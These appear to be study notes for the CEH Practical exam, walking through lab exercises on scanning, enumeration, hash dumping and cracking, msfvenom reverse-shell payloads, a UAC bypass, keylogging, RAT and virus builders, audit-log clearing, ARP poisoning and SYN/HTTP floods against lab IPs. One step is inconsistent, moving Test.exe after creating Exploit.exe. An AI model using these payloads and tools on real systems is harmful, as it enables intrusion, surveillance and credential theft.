CEH PRACTICAL NOTES

Table of Contents

FOOT PRINTING

ping hostname

-f switch do not fragment, uses to send same length, does not allow to be fragmented by routers

Ping host -f -l 1300

-l buffer size

Tracert host

Firebug in mozilla

WinHTTrack website copier

Path Analyzer Pro in traceroute tools, ensure icmp and smart is selected, stop on control is selected

Select timed trace when launching scan

Metasploit *service postgresql start.* The *msfconsole*

If db not initialized

- ***msfdb init***
- ***service postgresql restart***
- ***msfconsole***
- ***db_status***

Run nmap from msfconsole *nmap -Pn -sS -A -oX Test 10.10.10.0/24* (`-sS` (TCP SYN scan) -Pn (No ping)

-A: Enable OS detection, version detection, script scanning, and traceroute)

db_import Test to import test results

Type ***hosts*** to view host information

Type ***services*** to view services info for all detected hosts

db_nmap -sS -A 10.10.10.16 the db_nmap automatically stores result to the msf db

use scanner/smb/smb_version to find out smb version

show options to set options for the utility

set RHOSTS 10.10.10.8-16 and press Enter.

Type ***set THREADS 100*** and press Enter.

Type ***run*** to start

Now type ***hosts*** again and os_flavor will be visible

SCANNING NETWORKS

Wireshark

Ethernet interface

HPING3

hping3 -c 3 10.10.10.10 -c 3 means 3 packets

hping3 --scan 1-3000 -S 10.10.10.10 -scan (port range) -S SYN Flag

hping3 10.10.10.10 --udp --rand-source --data 500 --udp udp mode –rand-source changes source address –data data length

hping3 -S 10.10.10.10 -p 80 -c 5 -p send packet to specified port

hping3 10.10.10.10 –flood send flood packets to the target machine

Ping the server machines from different sources and look at **TTL values to identify OS** under the IPV4 info.

Windows 10: 128

Ubuntu: 64

Operating System	Time to Live (TTL)	TCP Window Size
Linux (Kernel 2.4 and 2.6)	64	5840
Google Linux	64	5720
FreeBSD	64	65535
OpenBSD	64	16384
Windows 95	32	8192
Windows 2000	128	16384
Windows XP	128	65535
Windows 98, Vista and 7 (Server 2008)	128	8192
iOS 12.4 (Cisco Routers)	255	4128
Solaris 7	255	8760
AIX 4.3	64	16384

ColaSoft Packet Builder

Select Adapter from right top corner

Click Add to create packet. Leave default ARP settings press OK.

Send all and select burst mode.

Export as colasoft cscpkt

MegaPing

When opens displays sys info by default

Click **IP scanner** from left and enter range. Then click start.

Right click aby alive IP and click Traceroute

Now select **Port scanner** from left pane and enter IP address

Add and check it and click start

Nmap

nmap -O 10.10.10.* shows OS info for IPs from 0-254

nmap --packet-trace 10.10.10.10 show all sent and received packets

Slow comprehensive scan from settings

-SN Null scan

Go to the profile tab to make and edit scan profiles

nmap -sT -T3 -A 10.10.10.12 -sT TCP connect scan. Requires no special privileges to run

nmap -sX -T4 10.10.10.12 -sX Xmas scan, turn on all flags

nmap -sA -v -T4 10.10.10.12 -sA Ack scan. No response means the port is filtered and an unfiltered response means the port is closed

nmap -F <IP> Fast scan

nmap -Pn -p 80 -sI 10.10.10.16 10.10.10.12 -sI idle/zombie scan <Zombie IP> <Target IP>

nmap -sP 10.10.10.* -sP ping scan, only checks for alive hosts, no port scan Also ***-sn***

nmap -f <target IP> | fragments packets ***nmap –mtu <value> <target IP>*** | to customize packet in bytes, Must be **multiple of 8**

nmap -D RND:10 10.10.10.10 | -D RND use random decoy IPs, in this example 10 Decoy IPs are generated

NetScan Tools Pro

Start Demo

Click Manual Tools. Select **ARP Ping**

Click on **Send Broadcast ARP, then Unicast ARP**

Select IP and click on send ARP

Now Select **ARP Scan (MAC Scan)**

Select range from X.X.X.(1-255). Click **Do Arp Scan**

Now open **Ping Scanner** in manual Tools. Remember to use system DNS. Select IP range. Click start

Now use **Port Scanner** in manual tools. Select scan type TCP connect, select Target IP. Select range of ports and okay.

SolarWinds Network Topology Mapper

Click New scan, set qwerty@123 as password

Select **private in the Stored Credentials** section and **public in the Discovery Credentials** section

In the **Network Selection** tab, click on IP ranges, define IP range and click next

In scheduling run scan now

After summary, run discovery

Map will show, click on Node options to view IP addresses of discovered devices

Right click node, click **integration with windows tools,** then remote Desktop. martin:apple for login.

Angry IP Scanner

Set IP Range. Click on the wheel (preferences option). Select udp and tcp from pinging options.

Select ports 1-1000 for custom scan.

Select only Alive Hosts display.

IP-Tools

Choose **Name Scanner** from the options shown on the lower tab. Set IP range and start.

Choose **Port Scanner** from the options shown on the lower tab. Set IP range and start.

Choose **UDP Scanner** from the options shown on the lower tab. Set IP range and start.

Choose **Ping Scanner** from the options shown on the lower tab. Set IP range and start.

ENUMERATION

Global Network Inventory

New Audit windows opens by default. Click Next

Select **IP range scan.** Enter IP Range. Run credential scan Administrator:Pa$$w0rd. Click Finish.

View results. Click different tabs on top to view different results.

View **Operating System, BIOS, NetBIOS, User Groups, Users, Services,** and **Installed Software**.

Advanced IP Scanner

Specify IP range and start.

Right click on alive hosts to perform actions, e.g. shutdown. Use Radmin for advanced features.

SuperScan

Click on Windows Enumeration, Enter IP and click Enumerate

Hyena

Expand local workstation to view **Users, Services, User Rights, Scheduled Jobs**

NetBIOS Enumerator

Enter IP Range and click scan.

SoftPerfect Network Scanner

Enter IP Range and click on start scanning.

Right click on any IP and click on **Properties** to view details.

Right click on any IP and click on **Open Device** to connect to the target machine.

Click on **"+"** sign to view shared folders.

Nmap

nmap -O 10.10.10.12 | OS detection scan | port 139 NetBIOS

nmap -sP 10.10.10.0/24 | perform ping sweep

nmap -sS 10.10.10.12 | perform SYN stealth scan

nmap -sSV -O 10.10.10.12 | perform SYN, version, OS detection scan

nmap -sSV -O 10.10.10.12 -oN Enumeration.txt | oN saves the scan in nmap format

Using CMD net

nbtstat –A 10.10.10.16 display table using target IP

first <00> shows workstation

<20> shares enabled

net view <IP> | enumerate share paths

net use command to view the created null sessions/shared folders from your host

net use \\10.10.10.16\e ""\user:"" create a null session with the target (**\ slash**)

net use \\10.10.10.16\e ""/user:"" to view connection details (**/ slash**)

Go to explorer and disconnect Z drive

Then use ***net use*** to view connected null session

SNMP Enumeration

Simple Network Management Protocol UDP Port 161, Accessed via community strings, read only, read/write

nmap -sU -p 161 <target IP>

nmap -sU -p 161 --script=snmp-brute 10.10.10.12 | brute force SNMP community string

use auxiliary/scanner/snmp/snmp_login | set RHOSTS | exploit

use auxiliary/scanner/snmp/snmp_enum | set RHOSTS | exploit

Active Directory Explorer – LDAP enumeration

Type IP to connect to. <Optionally enter a domain admin credentials for advanced features, here CEH\Jason:qwerty as a sample user>.

Expand **DC=CEH,DC=com** and expand **CN=Users**

Expand a user-name and modify display name

Enum4Linux

Enum4linux [options] IP

enum4linux -u martin -p apple -U 10.10.10.12 | - u user -p pass -U get user list

enum4linux -u martin -p apple -o 10.10.10.12 | -o get OS info

enum4linux -u martin -p apple -P 10.10.10.12 | -P get password policy info

enum4linux -u martin -p apple -G 10.10.10.12 | -G get groups and members info

enum4linux -u martin -p apple -S 10.10.10.12 | -S get share list info

enum4linux -u martin -p apple -a 10.10.10.12 | -a get all simple enumeration data [-U -S -G -P -r -o -n -i]

VULNERABILITY ANALYSIS

Nessus

https://localhost:8834 admin:password

Click **Policies** under **Resources** Tab on left side. Create New Policy→ Advanced Scan→Set Name and Description→Discovery in settings tab→Host Discovery→Turn off Ping the remote host→Port scanning→ Turn on Verify open TCP ports found by local port enumerators→Report (do not alter any settings)→Advanced→ Max number of TCP sessions per host **and** Max number of TCP sessions per scan as **unlimited**→Credentials→Host→Windows→ AD143:qwerty@123→Save

Scan→Create a new scan→User Defined→Custom_Policy→Set name and target→Launch

Nikto

nikto -h | view command help| ***-H*** for full help text

nikto -h http://www.goodshopping.com -Tuning 1 |-Tuning 1 Scan tuning 1=Interesting File / Seen in logs

SYSTEM HACKING

Dump and Crack SAM (Security Account Manager) hashes

Windows stores passwords in LM and NTLM hash format | NTLM New Technology LAN Manager.

Need admin access to dump SAM.

WMIC (Windows Management Instrumentation Command) CLI to get info about local system

wmic useraccount get name,sid | displays usernames and their SIDs

Pwdump7 (To dump password hashes)

pwdump7.exe -d c:\lockedfile.dat backup-lockedfile.dat |dump protected file

Brows admin terminal to pwdump7 path and run ***pwdump.exe*** in **cmd** | shows password hashes

PwDump7.exe > c:\hashes.txt | export hashes to path defined

In text file replace boxes with account names obtained from WMIC. **The last code numbers** will be the **identity**. And Save the file

Ophcrack (To crack password hashes)

To crack passwords not longer than 14 characters using only alphanumeric characters

Open /x86 gui version. Load PWDUMP and select the hashes.txt file.

Select Table **Vista Free**. Install it from location where ophcrack files are placed.

Click Crack to start cracking

Copy the Hashes.txt to shared drive for future labs.

Winrtgen – Create Rainbow table

Click on add table

Select hash NTLM, min length 4, max length 6, Chain Count 4000000, Charset Loweralpha

Click OK on main window to start , table is saved in Winrtgen folder.

Rainbow Crack

Open **rcrack_gui.exe**

Click **File,** then select **Load NTLM hashes from PWDUMP**

Open **Hashes.txt** saved from before

Now click **Rainbow Table → Select Rainbow table → Select table created by winrtgen → crack process automatically starts**

L0phtCrack

Open **Password Auditing Wizard.** Choose **Windows.** Select **Remote Machine**

Type **Host: 10.10.10.12,** Select **the Use Specific User Credentials**

Administrator:Pa$$w0rd:CEH.com

Select **Strong Password Audit**

Perform Calibration? click **No.**

Establish VNC connection to target machine using MSFVENOM and MSFCONSLE

Payload setup

- ***msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=10.10.10.11 LPORT=444 -o /root/Desktop/Test.exe*** | -p payload, --platform platform of the target, -a architecture, -f output format, -o save the output path
- *Type* ***mkdir /var/www/html/share*** | make directory
- Type ***chmod -R 755 /var/www/html/share*** | change rights recursively to all files and folders inside
- Type ***chown -R www-data:www-data /var/www/html/share*** | change owner recursively owner:group
- ***mv /root/Desktop/Test.exe /var/www/html/share*** | move the exploit
- ***service apache2 start***

Listener Setup

Start Metasploit Framework

- Type ***use multi/handler***
- Type ***set payload windows/meterpreter/reverse_tcp***
- Type ***set LHOST 10.10.10.11***
- Type ***set LPORT 444***
- ***Run***

Execute Exploit

- Open http://10.10.10.11/share on victim machine. Download Payload and run.
- Meterpreter shell is opened on attacker side. Type ***sysinfo*** to get system details.
- Type ***run vnc*** to start vnc viewer.

Privilege Escalation using MSFVENOM and MSFCONSOLE

Payload Setup

- ***msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.11 -f exe > Desktop/Exploit.exe*** | -e encoder, -b list of bad characters to avoid
- *Type* ***mkdir /var/www/html/share*** | make directory
- Type ***chmod -R 755 /var/www/html/share*** | change rights recursively to all files and folders inside
- Type ***chown -R www-data:www-data /var/www/html/share*** | change owner recursively owner:group
- ***mv /root/Desktop/Test.exe /var/www/html/share*** | move to exploit
- ***service apache2 start***

Listener Setup

- Type ***use exploit/multi/handler***.
- Type ***set payload windows/meterpreter/reverse_tcp***.
- Type ***set LHOST 10.10.10.11***.
- Start listener, type ***exploit -j -z*** |exploit -j -z exploit tells Metasploit to start the exploit. The -j flag tells it to run in the context of a job and -z simply means to not interact with the session once it becomes active.

Execute Exploit

- Open http://10.10.10.11/share on victim machine. Download Payload and run.
- Type ***sessions -i*** to view sessions
- Type ***sessions -i 1*** to interact with the session created
- Type ***getuid*** to get user id
- Run post exploitation exploit ***run post/windows/gather/smart_hashdump*** | **will fail right now**
- Type ***getsystem*** | **will fail right now** | use ***getystem -h*** to view all available methods
- Type ***getsystem -t 1*** | use technique 1 to escalate privileges | **will fail right now**
- Type ***background*** | backgrounds the meterpreter session.
- Type ***search uac*** in msfconsole | get view modules related to uac

Payload and Exploit Setup – Phase 2

- Type ***use exploit/windows/local/bypassuac_fodhelper***
- Type ***show options*** | to view options related to the payload
- Type ***set SESSION 1*** | the previous opened meterpreter session id
- Type ***set payload windows/meterpreter/reverse_tcp***
- Type ***set LHOST 10.10.10.11***
- Type ***set TARGET 0***
- Type ***exploit***

- Type ***getuid*** to get user id
- Type ***getsystem*** | to escalate privileges
- Run post exploitation exploit ***run post/windows/gather/smart_hashdump*** | to dump password hashes

Post Exploitation Activities on Target

Create secret.txt on Windows Desktop

Setup and run exploit like did it previous exercise

After meterpreter is successfully running, try these commands:

- ***sysinfo***
- ***ipconfig***
- ***getuid***
- ***pwd***
- ***ls***
- ***cat secret.txt***
- ***timestomp secret.txt -v*** | view modified, accessed, created time of file
- ***cd c:\ → pwd → ls***
- ***download bootmgr*** | downloads the bootmgr file from c:\ to home directory of kali
- ***search -f "filename.ext"*** |here "pagefile.sys" | displays complete path of file
- ***keyscan_start*** | to start keylogger
- ***keyscan_dump*** | to dump keylogger results
- ***idletime*** | shows the time the target user has been away from keyboard
- ***shutdown*** | shutdown the victim machine

SpyTech SpyAgent

RDP to victim machine. Install SpyAgent from shared path

Start SpyAgent → Continue → Set password → Complete + Stealth Configuration → Load on Windows Startup → Start monitoring → CTRL+ALT+SHIFT+M to bring SpyAgent out of stealth mode

Power Spy

RDP to victim machine. Install Power Spy from shared path

Start Power Spy → Set password→ Start monitoring + stealth mode → CTRL+ALT+X to bring Power Spy out of stealth mode

Hiding file in NTFS stream

Copy calc.exe from system32 dir.

Make c:\magic folder. Copy calc.exe inside it, and create a text file readme.txt

Type ***type c:\magic\calc.exe > c:\magic\readme.txt:calc.exe***

Type ***mklink backdoor.exe readme.txt:calc.exe***

Execute ***backdoor.exe***

SNOW Steganographic Nature Of Whitespace) Hiding Data Using White Space Steganography

Create a text file readme.txt like this

```
Hello world!!!!!

--------------------------------
```

Copy it inside the SNOW folder

Open cmd in the folder

Type ***snow -C -m "Secret message" -p "password" <original file name> <target file name>*** |-C compression, -m message string, -p password | **Hide method**

Type ***snow -C -p "password" <file name to unhide data>***

OpenStego – Image Steganography

Hide data

- Select text **message file** which you want to hide
- Select the **cover file** image where data is to be hidden
- Set output path and file name
- Set password if needed
- Click Hide Data

Extract Data

- Select the stegno file
- Set the Output folder path
- Give the password

- Cick Extract Data

QuickStego – Image Steganography

Hide data

- Select the **open image** option to browse the image where data is to be hidden
- Select the **open text** option to browse the text file which you want to hide
- Click **Hide Text** to embed text in image
- Click **Save Image** to output the result image

Extract Data

- Select the **open image** option to open the modified image
- Hidden text will be displayed in right side bar

Auditpol to clear attacker tracks by viewing, enabling, or clearinga audit logs

- Open cmd
- ***auditpol /get /category:**** | get auditpolicies for all categories| auditpol –help for help | additpol /get /? for command help
- ***auditpol /set /category:"system","account logon" /success:enable /failure:enable*** | to set audit policies on categories separated by: then set success and failure audit status
- ***auditpol /clear /y*** | disable audit policies on all categories

Covert_TCP – Covert Channels | Hiding traffic in IP4 headers to avoid detection

Sender side (10.10.10.11)

- ***mkdir send***
- ***cd send***
- ***echo "secret" > message.txt***
- Copy covert_tcp.c from shared path
- ***cc -o covert_tcp covert_tcp.c***
- To send message use command ***./covert_tcp -dest 10.10.10.9 -source 10.10.10.11 -source_port 8888 -dest_port 9999 -file /root/Desktop/send/message.txt*** | -dest <destination/receiver IP> -source<sender IP> -file <file path> | **do not run until listener is started on receiver machine**
- Start wireshark before sending to capture the traffic
- View IP4 header in Wireshark traffic to view message byte by byte in order

Receiver side (10.10.10.9)

- ***mkdir receive***
- ***cd receive***
- Copy covert_tcp.c from shared path
- ***cc -o covert_tcp covert_tcp.c***
- To receive message start a listener using ***./covert_tcp -dest 10.10.10.9 -source 10.10.10.11 -source_port 9999 -dest_port 8888 -server -file /home/ubuntu/Desktop/receive/receive.txt*** | -dest <destination/receiver IP> -source<sender IP> -file <file path to store received file>

TheFatRat – Create malicious office Documents

Payload and malicious file creation

Note: FUD (Fully Undetectable Crypter)

- start terminal
- Run commnd ***fatrat*** | takes time to load
- Choose [6] → [3] → <LHOST IP> → <LPORT> → <payload name> → [3] → Enter to create payload
- Choose [7] → [2] → <LHOST IP> → <LPORT> → <malicious doc name> → <choose text or leave default> → <Enter path of previous custom payload /root/TheFatRat/output/payload.exe> → [3] → Enter
- Host payload using previously shown methods or run ***python -m SimpleHTTPServer*** for easy hosting

Listener Setup

- Type ***use exploit/multi/handler***.
- Type ***set payload windows/meterpreter/reverse_tcp***.
- Type ***set LHOST 10.10.10.11***.
- Type ***set LPORT 4444***.
- Start listener, type ***run***

Execute Exploit

- Download word file from hosting URL
- Open and enable macros
- Meterpreter session will be started on msfconsole

Responder – LLMNR and NBT-NS Poisoning

- Use windows 10 credentials Jason:qwerty
- Run command ***responder -I eth0*** in Kali | "**-I**" is in CAPS

- Try to open a share \\ceh-tools from windows 10 machine. Responder will send fake replies. | Windows will use, LLMNR on UDP/5355 or NBT-NS on UDP/137 and will listen for broadcasts.
- User will enter credentials and hash will be intercepted by responder
- Responder log files in **usr\share\responder\logs**
- Use john the ripper to crack the password using command ***john /usr/share/responder/logs/<file name of the logs.txt>*** | here file is **SMBv2-NTLMv2-SSP-10.10.10.10.txt**

MALWARE THREATS

HTTP RAT TROJAN

- Web server trojan which allows access to victim's machine via a web browser
- Run httprat.exe
- Disable the notification option.
- Set server port 84. And create the httpserver.exe
- Run this httpserver.exe on the victim machine.
- Browser victim's IP from attacker's machine to gain web access to the victim
- You can view processes, system info, view drives and directories

MoSucker GUI Trojan

Created in visual basic, can be set up to auto load on the victim machine, allows to perform many actions

- Go to MoSucker Folder
- Run CreateServer.exe. Leave default settings. Press OK. Save filename as server.exe
- Now MoSucker 3.0 Edit server window opens. Remember server **Port 4288.**
- Select Keylogger option and **Enable off-line keylogger.**
- Open MoSucker.exe and enter victim IP and port in given tabs.
- On the window machine execute the server.exe file and you will get an error. Ignore the error.
- On the attacker machine click on connect on the MoSucker.exe windows and you will be connected to the victim machine.
- Start **Live Capture** to remotely view the machine

njRAT

- On victim machine open firewall settings and use recommended settings
- On attacker machine start njRAT
- Click start with default port 5552
- Click on **Builder** tab on the bottom
- Enter HOST IP (Attacker machine), check options **Copy To StartUp** and **Registry StartUp**, and click **Build.**
- Save file as Test.exe
- Open the malicious exe file on victim's machine.
- Connection would be shown on attacker njRAT window.
- Now attacker can perform different actions on the victim machine

SwayzCryptor – Obfuscate Trojan Binary

Run SwayzCryptor. Click **File** option and browse to previous created malware from njRAT Test.exe.

Select **Start up**, **Mutex**, and **Disable UAC,** and click **Encrypt**. Save file as CryptedFile.exe.

Run file on victim machine. New connection will be shown on njRAT window on attacker machine.

ProRAT

- **Create** (bottom left corner) → **Create ProRat Server (342 Kbayt)** → **Notification setting** (leave deafult) → **General Settings** (only leave last **4 invisibility settings** checked – remember the password) → **Bind with file** (Select image from prorat image folder) → **Server Extensions** {**EXE** (Has icon support)} → **Server Icon** (select any) → **Create Server**
- Named saved as binded_server by default.
- Open malicious file on victim machine
- On attacker machine, enter **victim IP** and Port (if changed) and click **Connect**. Enter password.
- Now do actions on left side to perform on victim machine

THEEF

- Run server.exe on victim machine
- Run client.exe on attacker machine

JPS Virus Maker

- Open JPS Virus Maker.
- Select Options
    - Disable Yahoo,
    - Disable Internet Explorer,
    - Disable Norton Anti Virus,
    - Disable McAfee Anti Virus,
    - Disable Taskbar,
    - Disable Security Center,
    - Disable Control Panel,
    - Hide Windows Clock,
    - Hide All Tasks in Taskmgr,
    - Change Explorer Caption,
    - Destroy Taskbar,
    - Destroy Offlines (Y!Messenger),
    - Destroy Audio Service,
    - Terminate Windows
    - Auto Startup.
- Choose **Restart**
- Name after install **Rundll32**
- Server Name **Svchost.exe**
- Click **Create Virus**

- Click **>>** for further options.
    - Select Options
    - Change XP Password option,
    - Change Computer Name option,
    - Check Change IE Home Page option
    - Check the Enable Convert to Worm checkbox, and provide a Worm Name (here, fedevi).
    - Select JPG Icon
    - Click Restart radio button
    - Create Virus

Internet Worm Maker Thing

Select different options and create the worm.vbs file located in c:\

IDA – Malware Analysis

- Click New
- Load from viruses folder **Klez Virus Live!\face.exe**.
- Keep default settings and OK
- View → **Graphs** → **Flow Chart**
- **View** → **Graphs** → **Function Calls**
- **Windows** → **Hex View-1**
- **Windows** → **Structures**

OllyDbg – Virus Analysis

- Load virus from **Viruses\tini.exe**
- **View** → **Log**
- **View** → **Executable modules**
- **View** → **Memory**
- **View** → **Threads**

Detecting Trojans

TCPView

- View local ports, protocol, end process etc.

Autoruns for windows

- View Everything, Explorer, Services, Drivers, Known DLLs

jv16 Power Tools 2017

- Click **Clean and SpeedUp My computer.** Click **Start**
- Expand **Registry Errors**
- Select All errors and **Delete**.
- Click **Control which programs start automatically.**

CurrPorts

- Create trojan using njRAT and monitor it using CurrPorts.

ClamWin – Malware Removal

- Click the 3rd Top icon (**Scan Computer Memory for Viruses**)
- Now scan C drive

RegShot

- Run **Regshot-x64-Unicode.exe** as Administrator
- Select **HTML Document**
- Select **1st Shot and Save**
- Install a software and run **2nd Shot and Save**
- Now Select **Compare**

WinPatrol – Startup Monitoring Tool

- Click **Startup Programs** to view startup programs.
- Click **IE Helpers**, shows tools used to IE during start. Remove **Java TM plugin SSV Helper.**
- Click **Services**, shows installed services, Right click to view service **Info.** Startup can be enabled or disabled from the info menu.
- Click **File Types,** view programs associated to a file type. Like Winrar for rar files. Right Click for **Info** then click **Expand Info.**
- Click **Active Tasks**, shows current active tasks, Right click to **Kill** any task

SNIFFING

Wireshark

- Capture login credentials for first task. **Easy**

Now for remote packet capture

- Go to services on target machine and start the **Remote Packet Capture Protocol v.0 (experimental)** service.
- Now in attacker machine, click on Capture → Options (Ctrl+K) → Manage Interfaces → Remote Interfaces → Add (+) → Enter Host (10.10.10.10), Port 2022, and credentials (martin:apple) → Only select New interface from Input → Start

Capsa Network Analyzer

- Select **Ethernet** interface.
- Dashboard → Summary → Protocol → MAC Endpoint → IP Endpoint → MAC Conversation → IP Conversation → UDP Conversation → Matrix → Packet → Report Tab

SMAC – MAC SPOOFING

- Select **Random** to generate a random MAC address
- **Forward** button next to **Network Connection** to change adapters
- Forward button next to **Hardware ID** to view **Configuration ID**
- Click **IPConfig** to view IP info
- Click **MAC List** to import MAC IDs from a text file
- Select **Update MAC** to change the MAC Address.

Cain & Abel – MITM attack tool (via ARP Poisoning)

- Click **Configure.**
- Select Adapter with the Attacker's IP in the Sniffer tab.
- Click on **Start/Stop Sniffer (2nd icon** in icon list**)** icon.
- Go to the **Sniffer** Sub tab.
- Click the **Blue + (Add) icon.**
- In MAC Scanner window select **All Hosts** and **All Tests.**
- Click **ARP** on lower left corner. Then click anywhere inside ARP window to so + icon is clickable.
- Select 1st victim IP (10.10.10.10), now select 2nd victim IP (10.10.10.12).
- Click on **Start/Stop ARP (3rd icon** in icon list**)** icon.
- Now do FTP from .12 IP to .10 with credentials martin:apple.
- Observe that packets will be generated in cain.
- Click **Passwords → FTP** → View captured credentials.

Detect ARP Poisoning using Wireshark

- Create an attack between two machines as shown above.
- Here, Attacker is 10.10.10.10. Victims are 10.10.10.11 and 10.10.10.16.
- Generate some random traffic between the victims e.g from .11 machine use hping3 -c 100000 10.10.10.16
- Open Wireshark on Attacker machine.
- Click Edit → Preferences → Protocols → ARP/RARP → **Detect ARP request storms** and **Detect duplicate IP address configuration** → Start Capture.
- Analyze → Expert Information

XArp Tool – ARP Poisoning Detection

- Set Security level as aggressive.
- Launch an ARP attack on the network.
- View ARP poisoning alerts in XARP.

SOCIAL ENGINEERING

Social Engineering Toolkit (SET)

Use Credential Harvester to clone a website and capture victim credentials.

DENIAL-OF-SERVICE (DOS)

SYN Flooding using Metasploit

- Check open port on 10.10.10.10 using nmap | ***nmap -p 21 10.10.10.10***
- Open Metasploit Framework
- Type ***use auxiliary/dos/tcp/synflood*** |SYN Flooding module
- *Type set RHOST [Victim IP] and press Enter*
- *Type set RPORT 21 and press Enter*
- *Type set SHOST [Spoofed IP Address] and press Enter*
- *Type set TIMEOUT 20000 and press Enter*
- View Flood attack on victim via **Wireshark** | use **filter tcp.port=21**

SYN Flooding using HPING3

hping3 -S [Victim IP Address] -a [Atacker/Spoofed IP Address] -p [Port to flood e.g 22] –flood | -S turn on SYN Flag, --flood sent packets as fast as possible. Do not show replies

HTTP Flooding Attack using HOIC (High Orbit Ion Cannon)

- Open HOIC.
- Set threads = 20
- Click + to add target
- Enter Target http://<Target IP> → Power = High → Booster = GenericBoost.hoic
- Click **FIRE TEH LAZER!** to launch attack

SESSION HIJACKING

OWASP Zed Attack Proxy (ZAP)

- First set Victim's Proxy settings to attacker's IP and port 8080.
- Open ZAP and enable Break Point and click green + to view break points
- Go to settings → local Proxies → Change IP from localhost to network IP (in this case 10.10.10.16).
- Browse from victim and view the request and responses on the attacker machine.

EVADING IDS FIREWALLS AND HONEYPOTS

Snort – Intrusion Detection

Setup

- Copy **snort.conf** from shared folder (**Snort\snortrules\etc**) to **C:\Snort\etc.**
- Copy **so_rules** folder from shared folder (**Snort\snortrules**) to **C:\Snort**.
- Copy **preproc_rules** folder from shared folder (**Snort\snortrules**) to **C:\Snort**.
- Copy **rules** folder from shared folder (**Snort\snortrules**) to **C:\Snort**.
- Go to folder **C:\Snort\bin** and open ***snort*** in **cmd.**
- Enter ***snort -W*** to view ethernet info. Default ethernet index is **1**.
- Enter ***snort -dev -i 1*** to enable Ethernet Driver.
- Open 2nd CMD Window. Leave the first one open.
- Ping a machine from the 2nd CMD window. Snort will generate some alerts in the first window, this means it is working.
- Close both cmd terminals.

Conf file Edit

- Open **C:\Snort\etc\snort.conf** in **Notepad++**
- **HOME_NET line** (**Line 45**), replace **any** with the IP addresses of the machine on which Snort is running. Here 10.10.10.12
- **RULE_PATH (Line 104)**. In Line **104** replace **../rules** with **C:\Snort\rules**, in Line **105 ../so_rules** replace with **C:\Snort\so_rules**, and in Line **106** replace **../preproc_rules** with **C:\Snort\preproc_rules**.
- Lines **109** and **110**, replace **../rules** with **C:\Snort\rules**.
- Open **C:Snort\rules**, create file **white_list.rules** and **black_list.rules.**
- Again, open **snort.conf** file.
- **Dynamic preprocessor libraries (Line 243)**, replace **/usr/local/lib/snort_dynamicpreprocessor/** with **C:\Snort\lib\snort_dynamicpreprocessor**.
- **Base preprocessor (or dynamic) engine (Line 246)**; replace **/usr/local/lib/snort_dynamicengine/libsf_engine.so** with **C:\Snort\lib\snort_dynamicengine\sf_engine.dll**.
- Comment (**#**) Line **249**.
- Comment (**#**) Lines **261-265.**
- **Line 325** delete **lzma** word.
- Remove **** on Line **504-509.**
- Comment (**#**) Lines **504-509.**
- Add **C:\Snort\etc\classification.config → Line 531** and **C:\Snort\etc\reference.config → Line 532.**
- Add **output alert_fast: alerts.ids → Line 533.**
- Now open **Replace all** and replace **ipvar** with **var.**
- Save the **snort.conf** fie.

ICMP Detection Rule

- Open **C:\Snort\rules\icmp-info.rules.**
- Type **alert icmp $EXTERNAL_NET any -> $HOME_NET 10.10.10.12 (msg:"ICMP-INFO PING"; icode:0; itype:8; reference:arachnids,135; reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:7;)** in Line **21.**
- Save the file.

Start Snort in IDS mode

- Opne cmd in C:Snort and Type ***snort -iX -A console -c C:\Snort\etc\snort.conf -l C:\Snort\log -K ascii*** | here **X=1 , l is small L**

Detection

- Ping the snort machine and rules will be displayed in cmd

HoneyBOT – Malicious Network Traffic Detection

- Open **inetmgr**
- Expand Server node → Sites → FTP → Right click Manage FTP → Stop
- Install HoneyBOT
- Configure HoneyBOT
- General settings as default
- Exports → **Export Logs to CSV.**
- Target the honeyBOT machine with ftp connection.
- View logs and details

Nmap Evasion Techniques – Firewall Rule Bypass

- Enable victim firewall. Create inbound rule and block connection from attacker IP.
- Run different scans from attacker machine. Use Zombie scan to bypass firewall rule. | ***nmap -sI <Zombie IP> <Target IP>***

HTTHOST AND HTTPORT - Bypassing Firewall Rules Using HTTP/FTP Tunneling

Setup HTTHOST (this will route the request of restricted machine)

- Open Services. Disable **IIS Admin Service** and **World Wide Web Publishing.**
- Open HTTHost Options tab, keep default options
- Change Personal Password to “magic”.
- Check **Revalidate DNS names** and **Log Connections**, click **Apply**
- Open Application log and see **listening at 0.0.0.0:80**
- Leave HTTHost on.

Setup HTTPORT (this will be setup on machine with restricted access)

- Open **inetmgr**
- Expand Server node → Sites → FTP → Right click Manage FTP → Stop
- Turn on firewall from Control Panel.
- Create Outbound Firewall Rule.
- Select **Port** as **Rule Type**
- Select **All remote ports** in **Protocol and Ports**
- Next **Block the Connection**
- Set Rule name and finish.
- Right click new rule and go to properties. In **Protocols and Ports → Remote Port → Specific Ports → 21 → Apply.**
- Now connection to remote machines on port 21 is blocked.
- Install HTTPort and run
- Go to **Proxy** tab → Enter Host name of HTTHOST machine and port 80 → Bypass mode (Remote Host) → Use personal Remote host (Enter Host name of HTTHOST machine and port 80 and password "magic").
- Go to **Port mapping → Add → New Mapping (Edit and rename ftp test) → Local Port (Edit 21) → Remote Host (10.10.10.10** the host which we want to connect to**) → Remote Port (21).**
- Cick **Proxy** and **Start**
- Access remote host via *ftp 127.0.0.1* | Jason:qwerty
- Type **mkdir Test** | will create directory inside remote host c:\FTP

Metasploit – Firewall Bypass

- Turn on firewall on victim machine

Payload Setup

- ***msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.11 -f exe > Desktop/Exploit.exe*** | -e encoder, -b list of bad characters to avoid
- *Type* ***mkdir /var/www/html/share*** | make directory
- Type ***chmod -R 755 /var/www/html/share*** | change rights recursively to all files and folders inside
- Type ***chown -R www-data:www-data /var/www/html/share*** | change owner recursively owner:group
- ***mv /root/Desktop/Test.exe /var/www/html/share*** | move to exploit
- ***service apache2 start***

Listener Setup

- Type ***use exploit/multi/handler***.
- Type ***set payload windows/meterpreter/reverse_tcp***.

- Type ***set LHOST 10.10.10.11***.
- Start listener, type ***exploit -j -z*** |exploit -j -z exploit tells Metasploit to start the exploit. The -j flag tells it to run in the context of a job and -z simply means to not interact with the session once it becomes active.

Execute Exploit

- Open http://10.10.10.11/share on victim machine. Download Payload and run.
- Type ***sessions -i*** to view sessions
- Type ***sessions -i 1*** to interact with the session created
- Type ***execute -f cmd.exe -c -H*** | creates a channel to execute the victim command shell
- Now Type ***shell*** | opens an interactive shell (cmd)
